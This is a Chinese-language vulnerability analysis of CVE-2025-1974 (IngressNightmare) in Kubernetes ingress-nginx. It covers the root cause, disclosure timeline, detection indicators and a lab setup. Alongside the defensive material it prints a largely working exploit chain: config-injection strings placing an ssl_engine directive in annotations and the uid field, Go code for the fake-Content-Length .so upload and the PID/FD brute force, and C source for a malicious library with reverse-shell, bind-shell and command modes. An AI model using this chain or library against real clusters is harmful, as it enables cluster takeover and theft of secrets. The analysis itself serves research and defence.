漏洞编号: CVE-2025-1974 (主CVE), CVE-2025-1097, CVE-2025-1098, CVE-2025-24513, CVE-2025-24514
CVSS v3.1评分: 9.8 (严重)
研究对象: Kubernetes Ingress-NGINX Validating Admission Webhook 远程代码执行漏洞
参考编号: GHSA-mgvx-rpfc-9mpv
CVE-2025-1974 (IngressNightmare) 是一个影响 Kubernetes ingress-nginx controller 的严重远程代码执行漏洞,由 Wiz Research 团队 (Nir Ohfeld, Ronen Shustin, Sagi Tzadik, Hillai Ben-Sasson) 于 2024年12月31日 发现并报告。该漏洞允许攻击者在无需任何认证的情况下,仅通过访问 Kubernetes Pod 网络即可在 ingress-nginx controller 的容器上下文中执行任意代码,最终可导致完整的 Kubernetes 集群接管。
该漏洞的核心机制在于 Ingress-NGINX 的 Validating Admission Webhook 在处理 Ingress 对象时存在以下安全缺陷链条:
Admission 接收 Ingress 对象后,会渲染临时 nginx.conf 并执行nginx -t进行配置校验
由于某些注解值在渲染时缺乏充分转义/过滤,可被用于注入 NGINX 指令
结合 NGINX 在-t阶段对特定指令/模块的加载与初始化行为,可导致控制器容器内代码执行
攻击者可通过ssl_engine指令加载恶意共享库,在nginx -t验证阶段触发代码执行
| 项目 | 详情 |
|---|---|
| 漏洞名称 | IngressNightmare |
| CVE编号 | CVE-2025-1974 (主CVE) |
| 相关CVE | CVE-2025-1097, CVE-2025-1098, CVE-2025-24513, CVE-2025-24514 |
| CVSS v3.1评分 | 9.8 (严重) |
| 攻击复杂度 | 低 |
| 所需权限 | 无 |
| 用户交互 | 无需 |
| 攻击向量 | 网络 (Pod网络访问) |
| 影响范围 | 机密性、完整性、可用性全部HIGH |
| 受影响组件 | ingress-nginx admission controller |
| 发现者 | Wiz Research Team |
| 披露日期 | 2025年3月24日 |
| 修复版本 | v1.11.5, v1.12.1+ |
全球影响: 超过 40% 的云环境运行受影响版本
组件重要性: ingress-nginx 是 Kubernetes 生态中使用最广泛的 Ingress 控制器
默认配置漏洞: Admission webhook 默认启用且无认证机制
权限提升路径: 默认配置下 controller 拥有 cluster-wide Secret 读取权限
攻击门槛: 仅需 Pod 网络访问,无需 Kubernetes API 权限
无需认证: 攻击者只需要能够访问 Kubernetes Pod 网络,无需任何凭证
完整集群控制: 成功利用可窃取所有 Secrets,实现横向移动,最终接管整个集群
大规模部署: ingress-nginx 在生产环境中广泛使用,影响数以万计的集群
供应链风险: 可通过恶意容器镜像进入受信任环境
检测难度高: 利用过程不留持久化痕迹,仅依赖临时文件描述符
立即采取 (0-24小时):
识别所有使用 ingress-nginx 的集群
升级到安全版本 (v1.11.5 或 v1.12.1+)
临时禁用 admission webhook 或部署 NetworkPolicy 隔离
短期措施 (1-7天):
实施最小权限 RBAC
部署运行时监控 (Falco/Tetragon/Sysdig)
执行 IoC 检测脚本扫描已受攻击迹象
长期加固 (持续):
建立漏洞管理流程和应急响应计划
实施零信任网络架构
加强容器镜像安全和供应链管理
Kubernetes Ingress 是一个 API 对象,用于管理集群外部对集群内服务的 HTTP 和 HTTPS 访问。它提供负载均衡、SSL 终止和基于名称的虚拟主机功能。
互联网
|
[Ingress Controller] <- Ingress 资源定义路由规则
|
[Service A] [Service B] [Service C]
| | |
[Pod] [Pod] [Pod]
核心概念:
Ingress 资源: 声明性配置,定义路由规则
Ingress Controller: 实际实现路由逻辑的组件
Backend Services: Ingress 路由到的目标服务
ingress-nginx 是 Kubernetes 社区官方维护的基于 NGINX 的 Ingress 控制器,是生产环境中最流行的选择之一。
┌─────────────────────────────────────────────────┐
│ ingress-nginx Controller Pod │
├─────────────────────────────────────────────────┤
│ │
│ ┌───────────────────────────────────────────┐ │
│ │ Controller 进程 (Go) │ │
│ │ - Watch Ingress/Service/Endpoints │ │
│ │ - 生成 nginx.conf │ │
│ │ - 调用 nginx reload │ │
│ └───────────────────────────────────────────┘ │
│ | │
│ v │
│ ┌───────────────────────────────────────────┐ │
│ │ NGINX 进程 (C/Lua) │ │
│ │ - 处理实际流量 │ │
│ │ - 执行路由规则 │ │
│ │ - SSL/TLS 终止 │ │
│ │ - Lua 插件 (认证/限流等) │ │
│ └───────────────────────────────────────────┘ │
│ │
│ ┌───────────────────────────────────────────┐ │
│ │ Admission Webhook (可选,默认启用) │ │
│ │ - 验证 Ingress 对象合法性 │ │
│ │ - 阻止无效配置 │ │
│ │ - 8443/TCP 端口 │ │
│ └───────────────────────────────────────────┘ │
│ │
└─────────────────────────────────────────────────┘
Kubernetes Admission Webhook 是一种扩展机制,允许在对象持久化到 etcd 之前进行自定义验证或变更。ingress-nginx 使用 Validating Admission Webhook 来预检查 Ingress 对象的合法性。
工作流程:
用户通过 kubectl/API 创建/更新 Ingress 对象
Kubernetes API Server 在持久化前调用 Admission Webhook
Admission Webhook 接收 AdmissionReview 请求
Webhook 执行验证逻辑并返回允许/拒绝决策
API Server 根据响应决定是否接受该对象
历史实现 (存在漏洞的版本):
[AdmissionReview] → [解析Ingress] → [渲染nginx.conf] → [nginx -t验证] → [返回结果]
↑
漏洞触发点
ingress-nginx 使用 Go 模板 (nginx.tmpl) 来生成 NGINX 配置文件。模板会根据 Kubernetes 中的 Ingress、Service、Endpoints 等对象动态渲染配置。
模板渲染流程:
// 伪代码示意
func renderTemplate(ingresses []Ingress) string {
tmpl := template.New("nginx.tmpl")
data := buildTemplateData(ingresses)
var buf bytes.Buffer
tmpl.Execute(&buf, data)
return buf.String()
}
ssl_engine是 NGINX 中用于配置 OpenSSL ENGINE 的指令,通常用于硬件 SSL 加速器或 HSM (硬件安全模块)。
关键特性:
该指令会加载指定的共享库文件 (.so)
加载发生在配置解析阶段,即nginx -t时也会触发
与load_module不同,ssl_engine可以出现在配置文件的任意位置
加载的共享库中的构造函数 (__attribute__((constructor))) 会自动执行
正常用法示例:
ssl_engine cloudhsm; # 加载云HSM ENGINE
漏洞利用示例:
ssl_engine ../../../../../../proc/20/fd/18; # 加载恶意.so
ingress-nginx 使用带 lua-nginx-module 的 NGINX 以支持动态功能,例如:
动态认证逻辑
请求/响应修改
限流和速率控制
自定义日志处理
某些模块/指令在配置测试阶段也会初始化,这为从"配置注入到代码执行"搭建了桥梁。
| 日期 | 事件 | 说明 |
|---|---|---|
| 2024-12-31 | 漏洞报告 | Wiz Research 私下向 Kubernetes 安全团队报告 CVE-2025-1974 和相关注入问题 |
| 2025-01-03 | 确认接收 | Kubernetes 安全团队确认报告 |
| 2025-01-12 | 提出修复方案 | Kubernetes 团队提出初步修复方案 |
| 2025-01-16 | 绕过发现 | Wiz Research 发现初步修复可以被绕过,报告新的注入向量 |
| 2025-03-24 | 公开披露 | 官方发布安全公告、补丁版本 (v1.11.5, v1.12.1) 和 GHSA |
| 2025-03-25 起 | 社区响应 | 多家安全厂商发布检测/缓解指引、Falco/Sysdig 规则、PoC 分析 |
这是一个典型的负责任披露案例:
私下报告到公开披露间隔约 3 个月,符合行业标准
修复过程中发现绕过,延长了修复周期
补丁与披露同步发布,降低了零日利用窗口
官方提供了临时缓解措施 (禁用 Admission Webhook)
| 版本范围 | 状态 | 说明 |
|---|---|---|
| < v1.11.5 | 受影响 | 所有 1.11.x 系列早期版本 |
| v1.12.0-beta.0 至 v1.12.0 | 受影响 | 包括 v1.12.0 GA 版本 |
| >= v1.11.5 | 已修复 | 1.11.x 系列修复版本 |
| >= v1.12.1 | 已修复 | 1.12.x 系列修复版本 |
攻击面分析:
Admission Service 网络可达性: 攻击者需要能访问集群内部网络
前置条件: 通常意味着攻击者已经在集群中运行 Pod (通过供应链、内部威胁、容器逃逸等)
无需认证: 不需要 Kubernetes API 凭证或 RBAC 权限
无需交互: 完全自动化攻击
潜在影响:
机密性: 默认配置下 ingress-controller 可读取 cluster-wide Secrets,包括数据库凭证、API 密钥、TLS 私钥、云服务凭证、OAuth tokens
完整性: 可修改 nginx 配置导致流量劫持,注入恶意代码到所有通过 ingress 的流量
可用性: 可终止 ingress-controller 进程,消耗资源导致 DoS,破坏 nginx 配置导致所有 ingress 失效
真实世界风险:
约 40% 的 Kubernetes 环境使用 ingress-nginx
大多数环境使用默认配置 (Admission Webhook 启用)
供应链攻击向量使得利用门槛大幅降低
已有公开 PoC 代码,攻击成本进一步降低
受影响版本的 Admission Webhook 工作流程:
1. 接收 AdmissionReview 请求
|
v
2. 解析 Ingress 对象
- metadata.annotations
- metadata.uid
- spec.rules
|
v
3. 构造模板数据结构
- 解析各种注解 (auth-url, mirror, auth-tls-match-cn 等)
- 未充分验证/转义注解值
|
v
4. 渲染临时 nginx.conf
- 使用 nginx.tmpl 模板
- 将注解值插入配置文件
- 写入 /tmp/nginx-XXXX.conf
|
v
5. 执行 nginx -t 验证
- 调用: nginx -t -c /tmp/nginx-XXXX.conf
- NGINX 解析配置文件
- 触发指令处理器 (包括 ssl_engine)
- 加载共享库并执行构造函数
|
v
6. 返回 AdmissionReview 响应
- 允许 (allowed: true) 或拒绝 (allowed: false)
关键代码路径 (伪代码):
// Admission Webhook 处理函数
func (v *Validator) Validate(ar *admissionv1.AdmissionReview) *admissionv1.AdmissionResponse {
ingress := parseIngress(ar.Request.Object)
// 渲染 nginx 配置
nginxConf, err := v.renderTemplate(ingress)
if err != nil {
return deny(err.Error())
}
// 写入临时文件
tmpFile := "/tmp/nginx-" + generateRandomString() + ".conf"
ioutil.WriteFile(tmpFile, []byte(nginxConf), 0644)
defer os.Remove(tmpFile)
// 验证配置 (漏洞触发点)
err = v.testNginxConfig(tmpFile)
if err != nil {
return deny(err.Error())
}
return allow()
}
// 执行 nginx -t
func (v *Validator) testNginxConfig(configPath string) error {
cmd := exec.Command("/usr/sbin/nginx", "-t", "-c", configPath)
output, err := cmd.CombinedOutput()
if err != nil {
return fmt.Errorf("nginx -t failed: %s", output)
}
return nil
}
CVE-2025-1974 实际上是多个配置注入漏洞的组合利用:
auth-url 注解用于配置外部认证服务:
annotations:
nginx.ingress.kubernetes.io/auth-url: "https://auth.example.com/verify"
生成的 nginx 配置:
set $auth_url "https://auth.example.com/verify";
proxy_pass $auth_url;
注入向量:
annotations:
nginx.ingress.kubernetes.io/auth-url: "http://example.com/#;\n}\n}\n}\nssl_engine /proc/20/fd/18;\n#"
生成的配置 (注入成功):
set $auth_url "http://example.com/#;
}
}
}
ssl_engine /proc/20/fd/18;
#";
proxy_pass $auth_url;
关键点:
换行符 (\n) 打破了原有语句结构
右花括号 (}) 关闭了 server/location 上下文
注入的 ssl_engine 指令位于全局上下文
注释符号 (#) 注释掉后续内容
auth-tls-match-cn 注解用于客户端证书 CN 验证:
annotations:
nginx.ingress.kubernetes.io/auth-tls-match-cn: "CN=*.example.com"
nginx.ingress.kubernetes.io/auth-tls-secret: "namespace/secret-name"
生成的 nginx 配置:
if ($ssl_client_s_dn !~ "CN=*.example.com") {
return 403;
}
注入向量:
annotations:
nginx.ingress.kubernetes.io/auth-tls-match-cn: "CN=abc #(\n){}\\n }}\\nssl_engine /proc/20/fd/18;\\n#"
nginx.ingress.kubernetes.io/auth-tls-secret: "default/fake-secret"
绕过正则验证:
该注解有正则表达式验证
通过精心构造的模式 (包含括号、换行转义等) 可以绕过
利用注释符号和换行符突破上下文
mirror 注解用于流量镜像功能,但 UID 字段完全绕过了注解清理规则:
metadata:
uid: "InjectTest#;\\n\\n}\\n}\\n}\\nssl_engine /proc/20/fd/18"
annotations:
nginx.ingress.kubernetes.io/mirror-target: "http://mirror.example.com"
生成的 nginx 配置:
set $request_id "InjectTest#;
}
}
}
ssl_engine /proc/20/fd/18";
关键点:
UID 字段被直接用于生成 nginx 配置
没有经过任何注解清理逻辑
完全未验证,可注入任意内容
研究者尝试的路径:
最初尝试: load_module 指令
问题: 必须位于配置文件开头 (main context)
注入点位于 server/location context 内部
无法注入到文件开头
最终方案: ssl_engine 指令
优势: 可以出现在任意位置
行为: 加载 OpenSSL ENGINE 共享库
关键: nginx -t 时也会触发加载
ssl_engine 工作机制:
// NGINX 源码 (简化)
static char *
ngx_ssl_engine(ngx_conf_t *cf, ngx_command_t *cmd, void *conf)
{
ngx_str_t *value = cf->args->elts;
// 加载 ENGINE
ENGINE *e = ENGINE_by_id((char *) value[1].data);
if (e == NULL) {
// 尝试作为动态库加载
ENGINE_load_dynamic();
e = ENGINE_by_id("dynamic");
ENGINE_ctrl_cmd_string(e, "SO_PATH", (char *) value[1].data, 0);
ENGINE_ctrl_cmd_string(e, "LOAD", NULL, 0);
}
// 初始化 ENGINE
ENGINE_init(e);
ENGINE_set_default(e, ENGINE_METHOD_ALL);
}
关键点:
ENGINE_by_id 会调用 dlopen() 加载共享库
加载时会执行库的构造函数
这发生在 nginx -t 配置测试阶段
攻击者需要将恶意 .so 文件放入目标容器文件系统,利用了 NGINX client body buffering 机制:
NGINX 请求体处理逻辑:
// NGINX 源码 (简化)
ngx_int_t
ngx_http_read_client_request_body(ngx_http_request_t *r)
{
size_t content_length = r->headers_in.content_length_n;
if (content_length > client_body_buffer_size) {
// 创建临时文件
ngx_temp_file_t *tf = ngx_pcalloc(r->pool, sizeof(ngx_temp_file_t));
tf->file.fd = ngx_open_tempfile("/var/lib/nginx/body/", ...);
// 写入请求体到临时文件
ngx_write_file(&tf->file, buffer, n, offset);
// 文件描述符保持打开,直到请求完成
r->request_body->temp_file = tf;
}
}
攻击技巧:
发送 HTTP 请求,声称 Content-Length: 1048576 (1MB)
实际只发送 8KB+ 的数据 (恶意 .so 文件)
不关闭连接,保持请求挂起
NGINX 认为请求未完成,临时文件保持打开
文件虽然被删除,但通过 /proc/PID/fd/FD 仍可访问
PoC 实现 (Go):
func BadUploader(URL string, payload []byte) error {
host := parseHost(URL)
conn, err := net.Dial("tcp", host)
if err != nil {
return err
}
// 发送伪造的 Content-Length
request := "POST / HTTP/1.1\r\n" +
"Host: " + host + "\r\n" +
"Content-Length: 1048576\r\n" + // 声称1MB
"Connection: keep-alive\r\n" +
"\r\n"
conn.Write([]byte(request))
// 发送恶意 .so 文件 (实际只有8KB+)
if len(payload) < 8*1024 {
padding := bytes.Repeat([]byte{0x00}, 8*1024+10-len(payload))
payload = append(payload, padding...)
}
conn.Write(payload)
// 保持连接不关闭,让文件描述符保持打开
io.ReadAll(conn) // 阻塞等待,实际不会收到完整响应
return nil
}
由于无法直接获取 nginx worker 进程的 PID 和临时文件的 FD 编号,需要暴力破解:
暴力破解策略:
func Exploit(webhookURL, uploadURL string, payload []byte) {
// 启动持续上传线程
stopUpload := make(chan struct{})
go func() {
for {
select {
case <-stopUpload:
return
default:
BadUploader(uploadURL, payload)
time.Sleep(1 * time.Second)
}
}
}()
// 并发暴力破解 PID 和 FD
for pid := 5; pid <= 40; pid++ {
for fd := 3; fd <= 26; fd++ {
go func(pid, fd int) {
// 构造 ssl_engine 路径
enginePath := fmt.Sprintf("../../../../../../proc/%d/fd/%d", pid, fd)
// 发送 AdmissionReview
success, output := sendAdmissionRequest(webhookURL, enginePath)
if success {
log.Printf("Exploit success! PID: %d, FD: %d", pid, fd)
log.Printf("Output: %s", output)
close(stopUpload)
}
}(pid, fd)
}
}
}
PID 范围选择:
容器内 PID 通常较小 (1-50)
nginx master 进程通常是 PID 1
worker 进程通常是 PID 5-20
FD 范围选择:
0, 1, 2 是 stdin/stdout/stderr
3+ 是其他文件描述符
临时文件通常在 3-30 范围内
成功判断标准:
- 响应中包含 "Code Injected!" → 成功执行
- "No such file or directory" → PID/FD 不正确
- "Exec format error" → 找到文件但架构不匹配
- "cannot load" → 文件存在但不是有效的 ENGINE
零信任原则违背:
Admission Webhook 将不可信输入 (用户提供的 Ingress 对象) 直接用于生成可执行配置
缺乏输入验证边界,假设注解值是"安全的"
验证即执行:nginx -t不仅验证语法,还会初始化模块和加载库
职责耦合:
Admission 验证逻辑与实际运行时配置生成逻辑使用相同的模板
Admission 容器与 Controller 容器共享权限和网络
没有隔离验证环境和生产环境
输入验证不足:
// 修复前的代码 (简化)
func parseAuthURL(url string) string {
return url // 直接使用,无验证
}
// 修复后的代码
func parseAuthURL(url string) (string, error) {
if strings.Contains(url, "\n") || strings.Contains(url, "\r") {
return "", fmt.Errorf("invalid characters in auth-url")
}
sanitized := sanitizeNginxVariable(url)
return sanitized, nil
}
模板拼接风险:
// 不安全的模板渲染
template := `set $auth_url "{{ .AuthURL }}";`
// 应该使用参数化或严格转义
template := `set $auth_url "{{ escapeNginx .AuthURL }}";`
UID 字段处理缺失:
metadata.uid 被直接用于生成配置
没有经过任何注解清理逻辑
完全未验证
过度权限:
# ingress-nginx 默认 RBAC 权限
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
metadata:
name: ingress-nginx
rules:
- apiGroups: [""]
resources: ["secrets"]
verbs: ["get", "list", "watch"] # cluster-wide Secret 读取权限
缺乏网络隔离:
Admission Service 默认为 ClusterIP,集群内任意 Pod 可访问
没有强制 NetworkPolicy
不验证请求来源 (应仅允许 API Server)
| 条件 | 说明 | 难度 |
|---|---|---|
| Pod 网络访问 | 攻击者需要在同一 K8s 集群内运行 Pod | 中等 |
| Admission webhook 启用 | 默认配置即启用 | 默认满足 |
| 目标架构已知 | 需要编译对应架构的 .so 文件 | 低 |
场景1: 供应链攻击
恶意容器镜像 → 部署到集群 → 获得 Pod 网络访问 → 利用 CVE-2025-1974
→ 接管 ingress-controller → 窃取所有 Secrets → 横向移动到其他节点
场景2: 内部威胁
内部开发者 → 部署测试 Pod → 利用漏洞 → 提升权限 → 访问生产数据
场景3: 逃逸后攻击
容器逃逸漏洞 → 获得主机访问 → 访问 Pod 网络 → 利用 ingress 漏洞
→ 获得集群管理员权限
阶段1: 恶意共享库上传
1. 准备恶意 .so 文件 (包含反弹 shell 或命令执行代码)
2. 发送 HTTP 请求到 ingress-controller Service
3. 伪造 Content-Length: 1048576 (声称 1MB)
4. 实际发送 8KB+ 的恶意 .so 文件
5. 保持连接不关闭
6. NGINX 创建临时文件 /var/lib/nginx/body/XXXXXXXXXX
7. 文件描述符保持打开,可通过 /proc/PID/fd/FD 访问
阶段2: 配置注入触发
1. 构造特制的 AdmissionReview 请求
2. 在注解或 UID 字段注入 ssl_engine 指令
3. 指向 /proc/PID/fd/FD 路径
4. 直接发送到 Admission Webhook (绕过 API Server)
5. Admission 渲染包含注入指令的 nginx.conf
6. 执行 nginx -t 验证
7. ssl_engine 指令触发,加载恶意 .so
8. 构造函数自动执行,获得 RCE
阶段3: PID/FD 暴力破解
1. 并发尝试 PID 范围 5-40
2. 并发尝试 FD 范围 3-26
3. 每个组合发送一次 AdmissionReview
4. 检查响应中的成功标志 ("Code Injected!")
5. 成功后停止上传线程
关键注入位置以 REDACTED 标示:
{
"kind": "AdmissionReview",
"apiVersion": "admission.k8s.io/v1",
"request": {
"uid": "xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx",
"kind": {
"group": "networking.k8s.io",
"version": "v1",
"kind": "Ingress"
},
"operation": "CREATE",
"object": {
"apiVersion": "networking.k8s.io/v1",
"kind": "Ingress",
"metadata": {
"name": "demo",
"namespace": "default",
"annotations": {
"nginx.ingress.kubernetes.io/auth-url": "[REDACTED: 上下文逃逸+注入指令]"
}
},
"spec": {
"ingressClassName": "nginx",
"rules": []
}
}
}
}
danger.c 关键特性分析:
特性1: 无 libc 依赖
// 使用 -nostdlib -ffreestanding 编译,避免 GLIBC 版本兼容问题
// 自实现必要的 C 标准库函数
int strcmp(const char *s1, const char *s2) {
while (*s1 && (*s1 == *s2)) {
s1++;
s2++;
}
return *(unsigned char *)s1 - *(unsigned char *)s2;
}
size_t strlen(const char *str) {
const char *s = str;
while (*s) s++;
return s - str;
}
特性2: 构造函数自动执行
__attribute__((constructor)) static void entrypoint(void)
{
int pid = fork();
if (pid == 0) {
// 父进程立即退出,避免阻塞 nginx -t
exit(0);
} else {
// 子进程执行 payload
const char* MODE = "MODE_CHECK_FLAG";
if (strcmp(MODE, "MODE_REVERSE_SH") == 0) {
reverse_shell();
} else if (strcmp(MODE, "MODE_BIND_SH") == 0) {
bind_shell();
} else if (strcmp(MODE, "MODE_CMD_EXECVE") == 0) {
execute_command();
}
exit(1);
}
}
特性3: 三种攻击模式
// 模式1: 反弹 Shell
void reverse_shell() {
char *server_ip = "127.000.000.001"; // 会被 PoC 替换
const char *port_s = "13337";
int sock = socket(AF_INET, SOCK_STREAM, 0);
struct sockaddr_in addr = {0};
addr.sin_family = AF_INET;
addr.sin_port = htons(atoi(port_s));
addr.sin_addr.s_addr = inet_addr(server_ip);
connect(sock, (struct sockaddr *)&addr, sizeof(addr));
dup2(sock, 0);
dup2(sock, 1);
dup2(sock, 2);
char *args[] = {"/bin/sh", NULL};
execve("/bin/sh", args, NULL);
}
// 模式2: 绑定 Shell
void bind_shell() {
fork(); // 后台运行
int sock = socket(AF_INET, SOCK_STREAM, 0);
struct sockaddr_in addr = {0};
addr.sin_family = AF_INET;
addr.sin_port = htons(4444);
addr.sin_addr.s_addr = INADDR_ANY;
bind(sock, (struct sockaddr *)&addr, sizeof(addr));
listen(sock, 0);
int client = accept(sock, NULL, NULL);
dup2(client, 0);
dup2(client, 1);
dup2(client, 2);
char *args[] = {"/bin/sh", NULL};
execve("/bin/sh", args, NULL);
}
// 模式3: 命令执行
void execute_command() {
char cmd[512] = "AAAA...AAA"; // 512 字节占位符,会被替换
FILE *stream = popen(cmd, "r");
char buffer[1024];
while (!feof(stream)) {
if (fgets(buffer, sizeof(buffer), stream) != NULL) {
write(2, buffer, strlen(buffer)); // 输出到 stderr
}
}
pclose(stream);
}
特性4: 字符串替换机制
// Go 代码在编译好的 .so 二进制文件中直接替换字节
func bytesReplace(s, old, new []byte, n int) []byte {
if len(old) != len(new) {
panic("bytes: unequal old and new byte slices!")
}
return bytes.Replace(s, old, new, -1)
}
// 生成反弹 Shell payload
func NewReverseShellPayload(ip string, port int) Payload {
// IP 填充: "127.000.000.001" (15 字节) → "192.168.001.100"
paddedIP := padIP(ip)
// 端口填充: "13337" (5 字节) → "04444"
paddedPort := padPort(port)
payload := bytesReplace(evilLibrary,
[]byte("127.000.000.001"),
[]byte(paddedIP), 1)
payload = bytesReplace(payload,
[]byte("13337"),
[]byte(paddedPort), 1)
payload = bytesReplace(payload,
[]byte("MODE_CHECK_FLAG"),
[]byte("MODE_REVERSE_SH"), 1)
return payload
}
// 生成命令执行 payload
func NewCommandPayload(command string) Payload {
cmd := []byte(command + " #")
cmd = append(cmd, bytes.Repeat([]byte{0x41}, 512-len(cmd))...)
payload := bytesReplace(evilLibrary,
bytes.Repeat([]byte{0x41}, 512),
cmd, 1)
payload = bytesReplace(payload,
[]byte("MODE_CHECK_FLAG"),
[]byte("MODE_CMD_EXECVE"), 1)
return payload
}
步骤1: 网络可达
源: 集群内任意 Pod / 邻域网络
目标: ingress-nginx-controller-admission Service (ClusterIP:8443/TCP)
检测点: 网络流量监控,异常来源分析
步骤2: 恶意库上传
攻击者 → HTTP POST 到 ingress-controller
伪造 Content-Length: 1048576
实际发送: 8KB 恶意 .so 文件
结果: /var/lib/nginx/body/XXXXXXXXXX (临时文件)
检测点: 异常 HTTP 请求,大 Content-Length 但小 body
步骤3: AdmissionReview 注入
攻击者 → 构造 Ingress 对象
注入点: annotations 或 metadata.uid
注入内容: ssl_engine ../../../../../../proc/PID/fd/FD
检测点: 异常注解值,包含换行/分号
步骤4: 临时配置生成
Admission → 解析 Ingress
Admission → 渲染 nginx.tmpl
输出: /tmp/nginx-*.conf (包含注入的 ssl_engine)
检测点: 临时配置文件内容审计
步骤5: nginx -t 执行
Admission → 执行 nginx -t -c /tmp/nginx-*.conf
NGINX → 解析配置文件
NGINX → 处理 ssl_engine 指令
NGINX → dlopen(/proc/PID/fd/FD)
检测点: dlopen 系统调用,加载非标准路径的库
步骤6: 代码执行
.so 加载 → __attribute__((constructor)) 触发
构造函数 → fork() 创建子进程
子进程 → 执行 payload (反弹 shell/命令执行)
检测点: 异常进程树,nginx 子进程执行 sh/bash
步骤7: 后利用
反弹 shell → 攻击者获得容器访问
读取 ServiceAccount token → /var/run/secrets/kubernetes.io/serviceaccount/token
调用 K8s API → 读取 cluster-wide Secrets
横向移动 → 访问其他 Pod/Service
检测点: 异常 API 调用,Secret 访问审计
攻击者 Nginx Worker Admission Controller nginx -t 进程 恶意 .so
| | | | |
|--- POST (fake CL) -->| | | |
|--- send 8KB .so ---->| | | |
| | | | |
| |-- create tmp file ---->| | |
| | /var/lib/nginx/body/0000000001 | |
| | (FD保持打开) | | |
| | | | |
|-- AdmissionReview -->| | | |
| (注入 ssl_engine) | | | |
| | | | |
| | |-- 渲染 nginx.conf ----->| |
| | | (包含 ssl_engine) | |
| | | | |
| | |-- nginx -t ------------>| |
| | | | |
| | | |-- dlopen --------->|
| | | | /proc/20/fd/18 |
| | | | |
| | | | |-- constructor() -->
| | | | | fork()
| | | | | 子进程: payload
| | | |<-- 父进程 exit(0) -|
| | | | |
| | |<-- nginx -t 返回 -------| |
| | | (含错误信息) | |
| | | | |
|<-- AdmissionResponse | | | |
| (包含 "Code Injected!" 标志) | | |
| | | | |
| 子进程继续
| 执行 payload
|<--------------------------------------- 反弹 shell 连接 ------------------------------------|
| |
|--- 执行任意命令 ----------------------------------------------------------------------------->|
网络层:
异常源 IP 访问 Admission Service (非 API Server)
大 Content-Length 但小实际 body 的 HTTP 请求
反弹 shell 的外连流量
主机/容器层:
nginx 进程加载 /proc//fd/路径的共享库
nginx 的子进程执行 /bin/sh 或 /bin/bash
异常的网络连接 (非 80/443 端口)
日志层:
Admission 日志中的 nginx -t 错误信息
包含 "Code Injected!" 或其他 payload 特征的输出
API 审计日志中缺少对应的 CREATE Ingress 事件
本节内容仅用于:
安全研究和学习
授权的渗透测试环境
验证防护措施有效性
严禁在未授权环境中使用。建议仅在离线实验集群中操作。
使用 Kind 创建单节点集群:
#!/bin/bash
# 创建受影响版本的测试环境
# 仅用于安全研究和授权测试
cat > kind-config.yaml << 'EOF'
kind: Cluster
apiVersion: kind.x-k8s.io/v1alpha4
nodes:
- role: control-plane
kubeadmConfigPatches:
- |
kind: InitConfiguration
nodeRegistration:
kubeletExtraArgs:
node-labels: "ingress-ready=true"
extraPortMappings:
- containerPort: 80
hostPort: 8080
protocol: TCP
- containerPort: 443
hostPort: 8443
protocol: TCP
EOF
kind create cluster --name cve-2025-1974-test --config kind-config.yaml
echo "集群创建完成"
kubectl cluster-info --context kind-cve-2025-1974-test
#!/bin/bash
# 部署易受攻击的 ingress-nginx v1.11.4
echo "部署 ingress-nginx v1.11.4 (受影响版本)"
kubectl apply -f https://raw.githubusercontent.com/kubernetes/ingress-nginx/controller-v1.11.4/deploy/static/provider/kind/deploy.yaml
echo "等待 Pod 就绪"
kubectl wait --namespace ingress-nginx \
--for=condition=ready pod \
--selector=app.kubernetes.io/component=controller \
--timeout=300s
echo "验证版本"
kubectl get pods -n ingress-nginx \
-o jsonpath='{.items[0].spec.containers[0].image}'
echo "获取 Service 信息"
kubectl get svc -n ingress-nginx
#!/bin/bash
# 验证 Admission Service 可访问性
ADMISSION_IP=$(kubectl get svc -n ingress-nginx \
ingress-nginx-controller-admission \
-o jsonpath='{.spec.clusterIP}')
ADMISSION_PORT=$(kubectl get svc -n ingress-nginx \
ingress-nginx-controller-admission \
-o jsonpath='{.spec.ports[0].port}')
echo "Admission Service: https://${ADMISSION_IP}:${ADMISSION_PORT}"
# 创建测试 Pod
kubectl run test-pod --image=curlimages/curl:latest --command -- sleep infinity
echo "等待 test-pod 就绪"
kubectl wait --for=condition=ready pod test-pod --timeout=60s
# 从 Pod 内测试连通性
kubectl exec test-pod -- curl -k -v https://${ADMISSION_IP}:${ADMISSION_PORT}/health
echo "连通性验证完成"
去敏化的安全验证 (不含有效利用载荷):
#!/bin/bash
# 安全演练 - 验证 Admission 流程而不实际利用
# 准备去敏化的 AdmissionReview (无注入)
cat > safe-admission-review.json << 'EOF'
{
"kind": "AdmissionReview",
"apiVersion": "admission.k8s.io/v1",
"request": {
"uid": "12345678-1234-1234-1234-123456789012",
"kind": {
"group": "networking.k8s.io",
"version": "v1",
"kind": "Ingress"
},
"operation": "CREATE",
"object": {
"apiVersion": "networking.k8s.io/v1",
"kind": "Ingress",
"metadata": {
"name": "safe-test",
"namespace": "default",
"annotations": {
"nginx.ingress.kubernetes.io/rewrite-target": "/"
}
},
"spec": {
"ingressClassName": "nginx",
"rules": [
{
"host": "test.example.com",
"http": {
"paths": [
{
"path": "/",
"pathType": "Prefix",
"backend": {
"service": {
"name": "test-service",
"port": {
"number": 80
}
}
}
}
]
}
}
]
}
}
}
}
EOF
# 从测试 Pod 发送到 Admission Webhook
ADMISSION_URL="https://${ADMISSION_IP}:${ADMISSION_PORT}/networking/v1/ingresses"
kubectl exec test-pod -- curl -k -X POST \
-H "Content-Type: application/json" \
-d @safe-admission-review.json \
${ADMISSION_URL}
# 观察 Admission Pod 日志
kubectl logs -n ingress-nginx \
-l app.kubernetes.io/component=controller \
--tail=50
echo "在漏洞版本中,应该能看到 nginx -t 相关的日志"
#!/bin/bash
# 升级到修复版本并重新测试
echo "升级到 v1.11.5 (修复版本)"
kubectl apply -f https://raw.githubusercontent.com/kubernetes/ingress-nginx/controller-v1.11.5/deploy/static/provider/kind/deploy.yaml
kubectl rollout status deployment/ingress-nginx-controller -n ingress-nginx
echo "验证新版本"
kubectl get pods -n ingress-nginx \
-o jsonpath='{.items[0].spec.containers[0].image}'
# 重新发送相同的 AdmissionReview
kubectl exec test-pod -- curl -k -X POST \
-H "Content-Type: application/json" \
-d @safe-admission-review.json \
${ADMISSION_URL}
# 观察日志变化
kubectl logs -n ingress-nginx \
-l app.kubernetes.io/component=controller \
--tail=50
echo "在修复版本中,不应再看到 nginx -t 相关的日志"
echo "Admission 不再执行配置测试"
#!/bin/bash
# 删除测试环境
kubectl delete pod test-pod
kind delete cluster --name cve-2025-1974-test
